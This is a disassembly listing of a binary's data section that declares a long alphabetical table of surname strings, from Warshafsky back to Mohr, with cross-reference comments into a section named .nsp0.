aWarshafsky	db 'Warshafsky',0       ; DATA XREF: .nsp0:00430B8Co
		align 4
aVanheeckeren	db 'Vanheeckeren',0     ; DATA XREF: .nsp0:00430B88o
		align 4
aVandenberg	db 'Vandenberg',0       ; DATA XREF: .nsp0:00430B84o
		align 4
aVanzwet	db 'VanZwet',0          ; DATA XREF: .nsp0:00430B80o
aVanallen	db 'vanAllen',0         ; DATA XREF: .nsp0:00430B7Co
		align 4
aWalter		db 'Walter',0           ; DATA XREF: .nsp0:00430B78o
		align 10h
aWallenberg	db 'Wallenberg',0       ; DATA XREF: .nsp0:00430B74o
		align 4
aWales		db 'Wales',0            ; DATA XREF: .nsp0:00430B70o
		align 4
aValencia	db 'Valencia',0         ; DATA XREF: .nsp0:00430B6Co
		align 10h
aValberg	db 'Valberg',0          ; DATA XREF: .nsp0:00430B68o
aWaite		db 'Waite',0            ; DATA XREF: .nsp0:00430B64o
		align 10h
aVacca		db 'Vacca',0            ; DATA XREF: .nsp0:00430B60o
		align 4
aUzuner		db 'Uzuner',0           ; DATA XREF: .nsp0:00430B5Co
		align 10h
aUsdan		db 'Usdan',0            ; DATA XREF: .nsp0:00430B58o
		align 4
aUrdangBrown	db 'Urdang-Brown',0     ; DATA XREF: .nsp0:00430B54o
		align 4
aUrban		db 'Urban',0            ; DATA XREF: .nsp0:00430B50o
		align 10h
aUpsdell	db 'Upsdell',0          ; DATA XREF: .nsp0:00430B4Co
aUntermeyer	db 'Untermeyer',0       ; DATA XREF: .nsp0:00430B48o
		align 4
aUllman		db 'Ullman',0           ; DATA XREF: .nsp0:00430B44o
		align 4
aTzamarias	db 'Tzamarias',0        ; DATA XREF: .nsp0:00430B40o
		align 4
aTwells		db 'Twells',0           ; DATA XREF: .nsp0:00430B3Co
		align 10h
aTuttle_0	db 'Tuttle',0           ; DATA XREF: .nsp0:00430B38o
		align 4
aTurek		db 'Turek',0            ; DATA XREF: .nsp0:00430B34o
		align 10h
aTurano		db 'Turano',0           ; DATA XREF: .nsp0:00430B30o
		align 4
aTukan		db 'Tukan',0            ; DATA XREF: .nsp0:00430B2Co
		align 10h
aTudge		db 'Tudge',0            ; DATA XREF: .nsp0:00430B28o
		align 4
aTuck		db 'Tuck',0             ; DATA XREF: .nsp0:00430B24o
		align 10h
aTsukurov	db 'Tsukurov',0         ; DATA XREF: .nsp0:00430B20o
		align 4
aTsomides	db 'Tsomides',0         ; DATA XREF: .nsp0:00430B1Co
		align 4
aTsiatis	db 'Tsiatis',0          ; DATA XREF: .nsp0:00430B18o
aTruss		db 'Truss',0            ; DATA XREF: .nsp0:00430B14o
		align 4
aTroy		db 'Troy',0             ; DATA XREF: .nsp0:00430B10o
		align 10h
aTroiani	db 'Troiani',0          ; DATA XREF: .nsp0:00430B0Co
aTringali	db 'Tringali',0         ; DATA XREF: .nsp0:00430B08o
		align 4
aTrewin		db 'Trewin',0           ; DATA XREF: .nsp0:00430B04o
		align 4
aTrenga		db 'Trenga',0           ; DATA XREF: .nsp0:00430B00o
		align 4
aTraebert	db 'Traebert',0         ; DATA XREF: .nsp0:00430AFCo
		align 10h
aToye		db 'Toye',0             ; DATA XREF: .nsp0:00430AF8o
		align 4
aTowler		db 'Towler',0           ; DATA XREF: .nsp0:00430AF4o
		align 10h
aTorske		db 'Torske',0           ; DATA XREF: .nsp0:00430AF0o
		align 4
aTorresi	db 'Torresi',0          ; DATA XREF: .nsp0:00430AECo
aTopulos	db 'Topulos',0          ; DATA XREF: .nsp0:00430AE8o
aToomer		db 'Toomer',0           ; DATA XREF: .nsp0:00430AE4o
		align 10h
aTomford	db 'Tomford',0          ; DATA XREF: .nsp0:00430AE0o
aTolman		db 'Tolman',0           ; DATA XREF: .nsp0:00430ADCo
		align 10h
aTolls		db 'Tolls',0            ; DATA XREF: .nsp0:00430AD8o
		align 4
aTollestrup	db 'Tollestrup',0       ; DATA XREF: .nsp0:00430AD4o
		align 4
aTofallis	db 'Tofallis',0         ; DATA XREF: .nsp0:00430AD0o
		align 10h
aTimmons	db 'Timmons',0          ; DATA XREF: .nsp0:00430ACCo
aTill		db 'Till',0             ; DATA XREF: .nsp0:00430AC8o
		align 10h
aTierney	db 'Tierney',0          ; DATA XREF: .nsp0:00430AC4o
aThroop		db 'Throop',0           ; DATA XREF: .nsp0:00430AC0o
		align 10h
aThomsen	db 'Thomsen',0          ; DATA XREF: .nsp0:00430ABCo
aThisted	db 'Thisted',0          ; DATA XREF: .nsp0:00430AB8o
aThibault	db 'Thibault',0         ; DATA XREF: .nsp0:00430AB4o
		align 4
aTheodos	db 'Theodos',0          ; DATA XREF: .nsp0:00430AB0o
aThavaneswaran	db 'Thavaneswaran',0    ; DATA XREF: .nsp0:00430AACo
		align 4
aThan		db 'Than',0             ; DATA XREF: .nsp0:00430AA8o
		align 4
aTerracini	db 'Terracini',0        ; DATA XREF: .nsp0:00430AA4o
		align 4
aTenney		db 'Tenney',0           ; DATA XREF: .nsp0:00430AA0o
		align 10h
aTemmer		db 'Temmer',0           ; DATA XREF: .nsp0:00430A9Co
		align 4
aTemes		db 'Temes',0            ; DATA XREF: .nsp0:00430A98o
		align 10h
aTeague		db 'Teague',0           ; DATA XREF: .nsp0:00430A94o
		align 4
aTcherepnin	db 'Tcherepnin',0       ; DATA XREF: .nsp0:00430A90o
		align 4
aTawn		db 'Tawn',0             ; DATA XREF: .nsp0:00430A8Co
		align 4
aTaveras	db 'Taveras',0          ; DATA XREF: .nsp0:00430A88o
aTatar		db 'Tatar',0            ; DATA XREF: .nsp0:00430A84o
		align 4
aTanowitz	db 'Tanowitz',0         ; DATA XREF: .nsp0:00430A80o
		align 4
aTandler	db 'Tandler',0          ; DATA XREF: .nsp0:00430A7Co
aTambiah	db 'Tambiah',0          ; DATA XREF: .nsp0:00430A78o
aTalaugon	db 'Talaugon',0         ; DATA XREF: .nsp0:00430A74o
		align 4
aTai		db 'Tai',0              ; DATA XREF: .nsp0:00430A70o
aTagiuri	db 'Tagiuri',0          ; DATA XREF: .nsp0:00430A6Co
aSwindle	db 'Swindle',0          ; DATA XREF: .nsp0:00430A68o
aSweetser	db 'Sweetser',0         ; DATA XREF: .nsp0:00430A64o
		align 4
aSweeting	db 'Sweeting',0         ; DATA XREF: .nsp0:00430A60o
		align 10h
aSurdam		db 'Surdam',0           ; DATA XREF: .nsp0:00430A5Co
		align 4
aSuo		db 'Suo',0              ; DATA XREF: .nsp0:00430A58o
aSumner		db 'Sumner',0           ; DATA XREF: .nsp0:00430A54o
		align 4
aSullivan	db 'Sullivan',0         ; DATA XREF: .nsp0:00430A50o
		align 10h
aStringer	db 'Stringer',0         ; DATA XREF: .nsp0:00430A4Co
		align 4
aStreiff	db 'Streiff',0          ; DATA XREF: .nsp0:00430A48o
aStrauch	db 'Strauch',0          ; DATA XREF: .nsp0:00430A44o
aStrange_0	db 'Strange',0          ; DATA XREF: .nsp0:00430A40o
aStott		db 'Stott',0            ; DATA XREF: .nsp0:00430A3Co
		align 4
aStorer		db 'Storer',0           ; DATA XREF: .nsp0:00430A38o
		align 4
aStonich	db 'Stonich',0          ; DATA XREF: .nsp0:00430A34o
aStolzenberg	db 'Stolzenberg',0      ; DATA XREF: .nsp0:00430A30o
aStockwell	db 'Stockwell',0        ; DATA XREF: .nsp0:00430A2Co
		align 4
aStockton	db 'Stockton',0         ; DATA XREF: .nsp0:00430A28o
		align 10h
aStock		db 'Stock',0            ; DATA XREF: .nsp0:00430A24o
		align 4
aStillwell	db 'Stillwell',0        ; DATA XREF: .nsp0:00430A20o
		align 4
aStiepock	db 'Stiepock',0         ; DATA XREF: .nsp0:00430A1Co
		align 10h
aStewartOaten	db 'Stewart-Oaten',0    ; DATA XREF: .nsp0:00430A18o
		align 10h
aStepniewska	db 'Stepniewska',0      ; DATA XREF: .nsp0:00430A14o
aStephanian	db 'Stephanian',0       ; DATA XREF: .nsp0:00430A10o
		align 4
aSteiner	db 'Steiner',0          ; DATA XREF: .nsp0:00430A0Co
aStefani	db 'Stefani',0          ; DATA XREF: .nsp0:00430A08o
aStatlender	db 'Statlender',0       ; DATA XREF: .nsp0:00430A04o
		align 4
aStates		db 'States',0           ; DATA XREF: .nsp0:00430A00o
		align 4
aStassinopolus	db 'Stassinopolus',0    ; DATA XREF: .nsp0:004309FCo
		align 4
aStang		db 'Stang',0            ; DATA XREF: .nsp0:004309F8o
		align 4
aStam		db 'Stam',0             ; DATA XREF: .nsp0:004309F4o
		align 4
aStalvey	db 'Stalvey',0          ; DATA XREF: .nsp0:004309F0o
aStmartin	db 'StMartin',0         ; DATA XREF: .nsp0:004309ECo
		align 10h
aSpinrad	db 'Spinrad',0          ; DATA XREF: .nsp0:004309E8o
aSpiliotis	db 'Spiliotis',0        ; DATA XREF: .nsp0:004309E4o
		align 4
aSpiegelhalter	db 'Spiegelhalter',0    ; DATA XREF: .nsp0:004309E0o
		align 4
aSpicer		db 'Spicer',0           ; DATA XREF: .nsp0:004309DCo
		align 4
aSperber	db 'Sperber',0          ; DATA XREF: .nsp0:004309D8o
aSpence		db 'Spence',0           ; DATA XREF: .nsp0:004309D4o
		align 4
aSpeizer	db 'Speizer',0          ; DATA XREF: .nsp0:004309D0o
aSpaulding	db 'Spaulding',0        ; DATA XREF: .nsp0:004309CCo
		align 10h
aSparrow	db 'Sparrow',0          ; DATA XREF: .nsp0:004309C8o
aSpanier	db 'Spanier',0          ; DATA XREF: .nsp0:004309C4o
aSoultanian	db 'Soultanian',0       ; DATA XREF: .nsp0:004309C0o
		align 4
aSoule		db 'Soule',0            ; DATA XREF: .nsp0:004309BCo
		align 4
aSoukup		db 'Soukup',0           ; DATA XREF: .nsp0:004309B8o
		align 4
aSottak		db 'Sottak',0           ; DATA XREF: .nsp0:004309B4o
		align 4
aSorg		db 'Sorg',0             ; DATA XREF: .nsp0:004309B0o
		align 4
aSorabella	db 'Sorabella',0        ; DATA XREF: .nsp0:004309ACo
		align 4
aSommariva	db 'Sommariva',0        ; DATA XREF: .nsp0:004309A8o
		align 4
aSomers		db 'Somers',0           ; DATA XREF: .nsp0:004309A4o
		align 4
aSolon		db 'Solon',0            ; DATA XREF: .nsp0:004309A0o
		align 4
aSocolow	db 'Socolow',0          ; DATA XREF: .nsp0:0043099Co
aSnodgrass	db 'Snodgrass',0        ; DATA XREF: .nsp0:00430998o
		align 4
aSniffen	db 'Sniffen',0          ; DATA XREF: .nsp0:00430994o
aSmilow		db 'Smilow',0           ; DATA XREF: .nsp0:00430990o
		align 4
aSlowe		db 'Slowe',0            ; DATA XREF: .nsp0:0043098Co
		align 10h
aSloan		db 'Sloan',0            ; DATA XREF: .nsp0:00430988o
		align 4
aSkoda		db 'Skoda',0            ; DATA XREF: .nsp0:00430984o
		align 10h
aSkerry		db 'Skerry',0           ; DATA XREF: .nsp0:00430980o
		align 4
aSkane		db 'Skane',0            ; DATA XREF: .nsp0:0043097Co
		align 10h
aSites		db 'Sites',0            ; DATA XREF: .nsp0:00430978o
		align 4
aSirilli	db 'Sirilli',0          ; DATA XREF: .nsp0:00430974o
aSinsabaugh	db 'Sinsabaugh',0       ; DATA XREF: .nsp0:00430970o
		align 4
aSilvetti	db 'Silvetti',0         ; DATA XREF: .nsp0:0043096Co
		align 4
aSilverman	db 'Silverman',0        ; DATA XREF: .nsp0:00430968o
		align 4
aSigna		db 'Signa',0            ; DATA XREF: .nsp0:00430964o
		align 4
aSigini		db 'Sigini',0           ; DATA XREF: .nsp0:00430960o
		align 4
aSigalot	db 'Sigalot',0          ; DATA XREF: .nsp0:0043095Co
aSiesto		db 'Siesto',0           ; DATA XREF: .nsp0:00430958o
		align 4
aShimon		db 'Shimon',0           ; DATA XREF: .nsp0:00430954o
		align 4
aShibata	db 'Shibata',0          ; DATA XREF: .nsp0:00430950o
aShia		db 'Shia',0             ; DATA XREF: .nsp0:0043094Co
		align 4
aShesko		db 'Shesko',0           ; DATA XREF: .nsp0:00430948o
		align 4
aShepstone	db 'Shepstone',0        ; DATA XREF: .nsp0:00430944o
		align 10h
aSheppard	db 'Sheppard',0         ; DATA XREF: .nsp0:00430940o
		align 4
aShepherd	db 'Shepherd',0         ; DATA XREF: .nsp0:0043093Co
		align 4
aSheats		db 'Sheats',0           ; DATA XREF: .nsp0:00430938o
		align 10h
aShea		db 'Shea',0             ; DATA XREF: .nsp0:00430934o
		align 4
aShavelson	db 'Shavelson',0        ; DATA XREF: .nsp0:00430930o
		align 4
aShatrov	db 'Shatrov',0          ; DATA XREF: .nsp0:0043092Co
aShar		db 'Shar',0             ; DATA XREF: .nsp0:00430928o
		align 4
aShanley	db 'Shanley',0          ; DATA XREF: .nsp0:00430924o
aShankland	db 'Shankland',0        ; DATA XREF: .nsp0:00430920o
		align 4
aShakis		db 'Shakis',0           ; DATA XREF: .nsp0:0043091Co
		align 10h
aShaikh		db 'Shaikh',0           ; DATA XREF: .nsp0:00430918o
		align 4
aSeyfert	db 'Seyfert',0          ; DATA XREF: .nsp0:00430914o
aSexton		db 'Sexton',0           ; DATA XREF: .nsp0:00430910o
		align 4
aSeterdahl	db 'Seterdahl',0        ; DATA XREF: .nsp0:0043090Co
		align 4
aSennett	db 'Sennett',0          ; DATA XREF: .nsp0:00430908o
aSen		db 'Sen',0              ; DATA XREF: .nsp0:00430904o
aSelvage	db 'Selvage',0          ; DATA XREF: .nsp0:00430900o
aSekler		db 'Sekler',0           ; DATA XREF: .nsp0:004308FCo
		align 10h
aSegal		db 'Segal',0            ; DATA XREF: .nsp0:004308F8o
		align 4
aSeeber		db 'Seeber',0           ; DATA XREF: .nsp0:004308F4o
		align 10h
aSeaton		db 'Seaton',0           ; DATA XREF: .nsp0:004308F0o
		align 4
aScudder	db 'Scudder',0          ; DATA XREF: .nsp0:004308ECo
aScovel		db 'Scovel',0           ; DATA XREF: .nsp0:004308E8o
		align 4
aSchwickrath	db 'Schwickrath',0      ; DATA XREF: .nsp0:004308E4o
aSchwan		db 'Schwan',0           ; DATA XREF: .nsp0:004308E0o
		align 4
aSchuyler	db 'Schuyler',0         ; DATA XREF: .nsp0:004308DCo
		align 4
aSchutte	db 'Schutte',0          ; DATA XREF: .nsp0:004308D8o
aSchuman	db 'Schuman',0          ; DATA XREF: .nsp0:004308D4o
aSchossberger	db 'Schossberger',0     ; DATA XREF: .nsp0:004308D0o
		align 4
aSchmitt	db 'Schmitt',0          ; DATA XREF: .nsp0:004308CCo
aSchilling	db 'Schilling',0        ; DATA XREF: .nsp0:004308C8o
		align 4
aSchifini	db 'Schifini',0         ; DATA XREF: .nsp0:004308C4o
		align 4
aSchiano	db 'Schiano',0          ; DATA XREF: .nsp0:004308C0o
aScheiner	db 'Scheiner',0         ; DATA XREF: .nsp0:004308BCo
		align 4
aScharlemann	db 'Scharlemann',0      ; DATA XREF: .nsp0:004308B8o
aScharf		db 'Scharf',0           ; DATA XREF: .nsp0:004308B4o
		align 10h
aScepan		db 'Scepan',0           ; DATA XREF: .nsp0:004308B0o
		align 4
aScarponi	db 'Scarponi',0         ; DATA XREF: .nsp0:004308ACo
		align 4
aSayied		db 'Sayied',0           ; DATA XREF: .nsp0:004308A8o
		align 4
aSawtell	db 'Sawtell',0          ; DATA XREF: .nsp0:004308A4o
aSatterthwaite	db 'Satterthwaite',0    ; DATA XREF: .nsp0:004308A0o
		align 4
aSatta		db 'Satta',0            ; DATA XREF: .nsp0:0043089Co
		align 4
aSatin		db 'Satin',0            ; DATA XREF: .nsp0:00430898o
		align 4
aSase		db 'Sase',0             ; DATA XREF: .nsp0:00430894o
		align 4
aSartore	db 'Sartore',0          ; DATA XREF: .nsp0:00430890o
aSarin		db 'Sarin',0            ; DATA XREF: .nsp0:0043088Co
		align 4
aSapers		db 'Sapers',0           ; DATA XREF: .nsp0:00430888o
		align 4
aSanna		db 'Sanna',0            ; DATA XREF: .nsp0:00430884o
		align 4
aSanchezRamirez	db 'Sanchez-Ramirez',0  ; DATA XREF: .nsp0:00430880o
aSamson		db 'Samson',0           ; DATA XREF: .nsp0:0043087Co
		align 4
aSali		db 'Sali',0             ; DATA XREF: .nsp0:00430878o
		align 4
aSahu		db 'Sahu',0             ; DATA XREF: .nsp0:00430874o
		align 4
aSafire		db 'Safire',0           ; DATA XREF: .nsp0:00430870o
		align 4
aSadler		db 'Sadler',0           ; DATA XREF: .nsp0:0043086Co
		align 4
aSabatello	db 'Sabatello',0        ; DATA XREF: .nsp0:00430868o
		align 10h
aRyu		db 'Ryu',0              ; DATA XREF: .nsp0:00430864o
aRush_0		db 'Rush',0             ; DATA XREF: .nsp0:00430860o
		align 4
aRuescher	db 'Ruescher',0         ; DATA XREF: .nsp0:0043085Co
		align 4
aRuderman	db 'Ruderman',0         ; DATA XREF: .nsp0:00430858o
		align 4
aRuan		db 'Ruan',0             ; DATA XREF: .nsp0:00430854o
		align 4
aRu		db 'Ru',0               ; DATA XREF: .nsp0:00430850o
		align 10h
aRoyal		db 'Royal',0            ; DATA XREF: .nsp0:0043084Co
		align 4
aRow		db 'Row',0              ; DATA XREF: .nsp0:00430848o
aRonen		db 'Ronen',0            ; DATA XREF: .nsp0:00430844o
		align 4
aRogers		db 'Rogers',0           ; DATA XREF: .nsp0:00430840o
		align 4
aRoesler	db 'Roesler',0          ; DATA XREF: .nsp0:0043083Co
aRocha		db 'Rocha',0            ; DATA XREF: .nsp0:00430838o
		align 4
aRobinson	db 'Robinson',0         ; DATA XREF: .nsp0:00430834o
		align 4
aRivera		db 'Rivera',0           ; DATA XREF: .nsp0:00430830o
		align 10h
aRish		db 'Rish',0             ; DATA XREF: .nsp0:0043082Co
		align 4
aRineer		db 'Rineer',0           ; DATA XREF: .nsp0:00430828o
		align 10h
aRindos		db 'Rindos',0           ; DATA XREF: .nsp0:00430824o
		align 4
aRielly		db 'Rielly',0           ; DATA XREF: .nsp0:00430820o
		align 10h
aRichmond	db 'Richmond',0         ; DATA XREF: .nsp0:0043081Co
		align 4
aRhea		db 'Rhea',0             ; DATA XREF: .nsp0:00430818o
		align 4
aResnik		db 'Resnik',0           ; DATA XREF: .nsp0:00430814o
		align 4
aRepetto	db 'Repetto',0          ; DATA XREF: .nsp0:00430810o
aRenick		db 'Renick',0           ; DATA XREF: .nsp0:0043080Co
		align 4
aRemak		db 'Remak',0            ; DATA XREF: .nsp0:00430808o
		align 4
aReinold	db 'Reinold',0          ; DATA XREF: .nsp0:00430804o
aCunningham	db 'Cunningham',0       ; DATA XREF: .nsp0:00430800o
		align 4
aReedquist	db 'Reedquist',0        ; DATA XREF: .nsp0:004307FCo
		align 4
aReddenTyler	db 'Redden-Tyler',0     ; DATA XREF: .nsp0:004307F8o
		align 4
aRayport	db 'Rayport',0          ; DATA XREF: .nsp0:004307F4o
aRapple		db 'Rapple',0           ; DATA XREF: .nsp0:004307F0o
		align 4
aRankin		db 'Rankin',0           ; DATA XREF: .nsp0:004307ECo
		align 4
aRangan		db 'Rangan',0           ; DATA XREF: .nsp0:004307E8o
		align 4
aRaney		db 'Raney',0            ; DATA XREF: .nsp0:004307E4o
		align 4
aRajagopalan	db 'Rajagopalan',0      ; DATA XREF: .nsp0:004307E0o
aRadeke		db 'Radeke',0           ; DATA XREF: .nsp0:004307DCo
		align 10h
aRabkin		db 'Rabkin',0           ; DATA XREF: .nsp0:004307D8o
		align 4
aRabe		db 'Rabe',0             ; DATA XREF: .nsp0:004307D4o
		align 10h
aQuetin		db 'Quetin',0           ; DATA XREF: .nsp0:004307D0o
		align 4
aQuaday		db 'Quaday',0           ; DATA XREF: .nsp0:004307CCo
		align 10h
aPynchon	db 'Pynchon',0          ; DATA XREF: .nsp0:004307C8o
aPugh		db 'Pugh',0             ; DATA XREF: .nsp0:004307C4o
		align 10h
aPuccia		db 'Puccia',0           ; DATA XREF: .nsp0:004307C0o
		align 4
aProthrowStith	db 'Prothrow-Stith',0   ; DATA XREF: .nsp0:004307BCo
		align 4
aProietti	db 'Proietti',0         ; DATA XREF: .nsp0:004307B8o
		align 4
aPritz		db 'Pritz',0            ; DATA XREF: .nsp0:004307B4o
		align 4
aPritchard	db 'Pritchard',0        ; DATA XREF: .nsp0:004307B0o
		align 4
aPrevost	db 'Prevost',0          ; DATA XREF: .nsp0:004307ACo
aPreucel	db 'Preucel',0          ; DATA XREF: .nsp0:004307A8o
aPresper	db 'Presper',0          ; DATA XREF: .nsp0:004307A4o
aPowers		db 'Powers',0           ; DATA XREF: .nsp0:004307A0o
		align 4
aPoolman	db 'Poolman',0          ; DATA XREF: .nsp0:0043079Co
aPoma		db 'Poma',0             ; DATA XREF: .nsp0:00430798o
		align 4
aPolitis	db 'Politis',0          ; DATA XREF: .nsp0:00430794o
aPolanyi	db 'Polanyi',0          ; DATA XREF: .nsp0:00430790o
aPolak		db 'Polak',0            ; DATA XREF: .nsp0:0043078Co
		align 10h
aPoirier	db 'Poirier',0          ; DATA XREF: .nsp0:00430788o
aPointer	db 'Pointer',0          ; DATA XREF: .nsp0:00430784o
aPoincaire	db 'Poincaire',0        ; DATA XREF: .nsp0:00430780o
		align 4
aPocobene	db 'Pocobene',0         ; DATA XREF: .nsp0:0043077Co
		align 4
aPo		db 'Po',0               ; DATA XREF: .nsp0:00430778o
		align 4
aPlous		db 'Plous',0            ; DATA XREF: .nsp0:00430774o
		align 4
aPlasket	db 'Plasket',0          ; DATA XREF: .nsp0:00430770o
aPlant		db 'Plant',0            ; DATA XREF: .nsp0:0043076Co
		align 4
aPlancon	db 'Plancon',0          ; DATA XREF: .nsp0:00430768o
aPinot		db 'Pinot',0            ; DATA XREF: .nsp0:00430764o
		align 4
aPilbeam	db 'Pilbeam',0          ; DATA XREF: .nsp0:00430760o
aPfister	db 'Pfister',0          ; DATA XREF: .nsp0:0043075Co
aPettit		db 'Pettit',0           ; DATA XREF: .nsp0:00430758o
		align 4
aPettibone	db 'Pettibone',0        ; DATA XREF: .nsp0:00430754o
		align 4
aPetruzello	db 'Petruzello',0       ; DATA XREF: .nsp0:00430750o
		align 4
aPeters		db 'Peters',0           ; DATA XREF: .nsp0:0043074Co
		align 4
aPerrimon	db 'Perrimon',0         ; DATA XREF: .nsp0:00430748o
		align 4
aPerone		db 'Perone',0           ; DATA XREF: .nsp0:00430744o
		align 10h
aPerna		db 'Perna',0            ; DATA XREF: .nsp0:00430740o
		align 4
aPerlman	db 'Perlman',0          ; DATA XREF: .nsp0:0043073Co
aPerlak		db 'Perlak',0           ; DATA XREF: .nsp0:00430738o
		align 4
aPerko		db 'Perko',0            ; DATA XREF: .nsp0:00430734o
		align 10h
aPereira	db 'Pereira',0          ; DATA XREF: .nsp0:00430730o
aPenny		db 'Penny',0            ; DATA XREF: .nsp0:0043072Co
		align 10h
aPeishel	db 'Peishel',0          ; DATA XREF: .nsp0:00430728o
aPederson	db 'Pederson',0         ; DATA XREF: .nsp0:00430724o
		align 4
aPearlberg	db 'Pearlberg',0        ; DATA XREF: .nsp0:00430720o
		align 10h
aPeabody	db 'Peabody',0          ; DATA XREF: .nsp0:0043071Co
aPaynter	db 'Paynter',0          ; DATA XREF: .nsp0:00430718o
aPawloski	db 'Pawloski',0         ; DATA XREF: .nsp0:00430714o
		align 4
aPavlon		db 'Pavlon',0           ; DATA XREF: .nsp0:00430710o
		align 4
aPavetti	db 'Pavetti',0          ; DATA XREF: .nsp0:0043070Co
aPattullo	db 'Pattullo',0         ; DATA XREF: .nsp0:00430708o
		align 4
aPatrick_0	db 'Patrick',0          ; DATA XREF: .nsp0:00430704o
aPatefield	db 'Patefield',0        ; DATA XREF: .nsp0:00430700o
		align 4
aPascucci	db 'Pascucci',0         ; DATA XREF: .nsp0:004306FCo
		align 4
aPartridge	db 'Partridge',0        ; DATA XREF: .nsp0:004306F8o
		align 4
aParris		db 'Parris',0           ; DATA XREF: .nsp0:004306F4o
		align 4
aParmeggiani	db 'Parmeggiani',0      ; DATA XREF: .nsp0:004306F0o
aPaoletti	db 'Paoletti',0         ; DATA XREF: .nsp0:004306ECo
		align 4
aPantilla	db 'Pantilla',0         ; DATA XREF: .nsp0:004306E8o
		align 10h
aPanizzon	db 'Panizzon',0         ; DATA XREF: .nsp0:004306E4o
		align 4
aPanadero	db 'Panadero',0         ; DATA XREF: .nsp0:004306E0o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: .nsp0:004306DCo
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: .nsp0:004306D8o
aPalepu		db 'Palepu',0           ; DATA XREF: .nsp0:004306D4o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: .nsp0:004306D0o
		align 10h
aPaine		db 'Paine',0            ; DATA XREF: .nsp0:004306CCo
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: .nsp0:004306C8o
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: .nsp0:004306C4o
		align 10h
aOuchida	db 'Ouchida',0          ; DATA XREF: .nsp0:004306C0o
aOtten		db 'Otten',0            ; DATA XREF: .nsp0:004306BCo
		align 10h
aOttaviani	db 'Ottaviani',0        ; DATA XREF: .nsp0:004306B8o
		align 4
aOstrowski	db 'Ostrowski',0        ; DATA XREF: .nsp0:004306B4o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: .nsp0:004306B0o
		align 10h
aOrsi		db 'Orsi',0             ; DATA XREF: .nsp0:004306ACo
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: .nsp0:004306A8o
aOray		db 'Oray',0             ; DATA XREF: .nsp0:004306A4o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: .nsp0:004306A0o
		align 10h
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: .nsp0:0043069Co
aOman		db 'Oman',0             ; DATA XREF: .nsp0:00430698o
		align 10h
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: .nsp0:00430694o
		align 4
aOlszewski	db 'Olszewski',0        ; DATA XREF: .nsp0:00430690o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: .nsp0:0043068Co
		align 10h
aOlsen		db 'Olsen',0            ; DATA XREF: .nsp0:00430688o
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: .nsp0:00430684o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: .nsp0:00430680o
aOh		db 'Oh',0               ; DATA XREF: .nsp0:0043067Co
		align 4
aOgata		db 'Ogata',0            ; DATA XREF: .nsp0:00430678o
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: .nsp0:00430674o
aNuzum		db 'Nuzum',0            ; DATA XREF: .nsp0:00430670o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: .nsp0:0043066Co
		align 4
aNitabach	db 'Nitabach',0         ; DATA XREF: .nsp0:00430668o
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: .nsp0:00430664o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: .nsp0:00430660o
		align 10h
aNickerson	db 'Nickerson',0        ; DATA XREF: .nsp0:0043065Co
		align 4
aNi_0		db 'Ni',0               ; DATA XREF: .nsp0:00430658o
		align 10h
aNg		db 'Ng',0               ; DATA XREF: .nsp0:00430654o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: .nsp0:00430650o
		align 4
aNewfeld	db 'Newfeld',0          ; DATA XREF: .nsp0:0043064Co
aNeuman		db 'Neuman',0           ; DATA XREF: .nsp0:00430648o
		align 4
aNesci		db 'Nesci',0            ; DATA XREF: .nsp0:00430644o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: .nsp0:00430640o
		align 4
aNelson		db 'Nelson',0           ; DATA XREF: .nsp0:0043063Co
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: .nsp0:00430638o
aNaviaux	db 'Naviaux',0          ; DATA XREF: .nsp0:00430634o
aNardone	db 'Nardone',0          ; DATA XREF: .nsp0:00430630o
aNardi		db 'Nardi',0            ; DATA XREF: .nsp0:0043062Co
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: .nsp0:00430628o
		align 10h
aNaddeo		db 'Naddeo',0           ; DATA XREF: .nsp0:00430624o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: .nsp0:00430620o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: .nsp0:0043061Co
aMulroy		db 'Mulroy',0           ; DATA XREF: .nsp0:00430618o
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: .nsp0:00430614o
aMugnai		db 'Mugnai',0           ; DATA XREF: .nsp0:00430610o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: .nsp0:0043060Co
		align 4
aMudarri	db 'Mudarri',0          ; DATA XREF: .nsp0:00430608o
aMotooka	db 'Motooka',0          ; DATA XREF: .nsp0:00430604o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: .nsp0:00430600o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: .nsp0:004305FCo
		align 10h
aMosher		db 'Mosher',0           ; DATA XREF: .nsp0:004305F8o
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: .nsp0:004305F4o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: .nsp0:004305F0o
		align 4
aMorrison	db 'Morrison',0         ; DATA XREF: .nsp0:004305ECo
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: .nsp0:004305E8o
aMorani		db 'Morani',0           ; DATA XREF: .nsp0:004305E4o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: .nsp0:004305E0o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: .nsp0:004305DCo
		align 10h
aMonque		db 'Monque',0           ; DATA XREF: .nsp0:004305D8o
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: .nsp0:004305D4o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: .nsp0:004305D0o
		align 4
